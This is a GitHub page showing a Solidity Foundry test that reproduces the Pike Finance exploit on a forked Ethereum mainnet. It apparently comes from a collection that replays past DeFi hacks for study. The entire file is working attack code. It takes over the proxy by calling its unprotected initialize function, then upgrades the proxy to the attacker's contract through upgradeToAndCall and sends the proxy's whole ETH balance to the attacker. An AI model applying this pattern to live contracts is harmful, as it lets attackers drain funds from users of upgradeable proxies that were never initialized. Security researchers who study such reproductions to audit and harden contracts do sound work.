-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
PikeFinance_exp.sol
69 lines (55 loc) · 2.5 KB
/
PikeFinance_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
// @KeyInfo - Total Lost : 1.4M
// Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23
// Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
// Vulnerable Contract : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063
// Attack Tx : https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code
// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
interface IPikeFinanceProxy {
function initialize(address, address, address, address, uint16, uint16) external;
function upgradeToAndCall(address, bytes memory) external;
}
contract PikeFinance is Test {
uint256 blocknumToForkFrom = 19_771_058;
address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;
function setUp() public {
vm.deal(address(this), 0);
vm.createSelectFork("mainnet", blocknumToForkFrom);
}
function testExploit() public {
emit log_named_decimal_uint(" Attacker ETH Balance Before exploit", address(this).balance, 18);
// Initialize proxy contract
address _owner = address(this);
address _WNativeAddress = address(this);
address _uniswapHelperAddress = address(this);
address _tokenAddress = address(this);
uint16 _swapFee = 20;
uint16 _withdrawFee = 20;
IPikeFinanceProxy(PikeFinanceProxy).initialize(
_owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee
);
// Upgrade proxy contract
address newImplementation = address(this);
bytes memory data = abi.encodeWithSignature("withdraw(address)", address(this));
IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);
// Log balances after exploit
emit log_named_decimal_uint(" Attacker ETH Balance After exploit", address(this).balance, 18);
}
function withdraw(
address addr
) external {
(bool success,) = payable(addr).call{value: address(this).balance}("");
require(success, "transfer failed");
}
function proxiableUUID() external pure returns (bytes32) {
return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
}
receive() external payable {}
}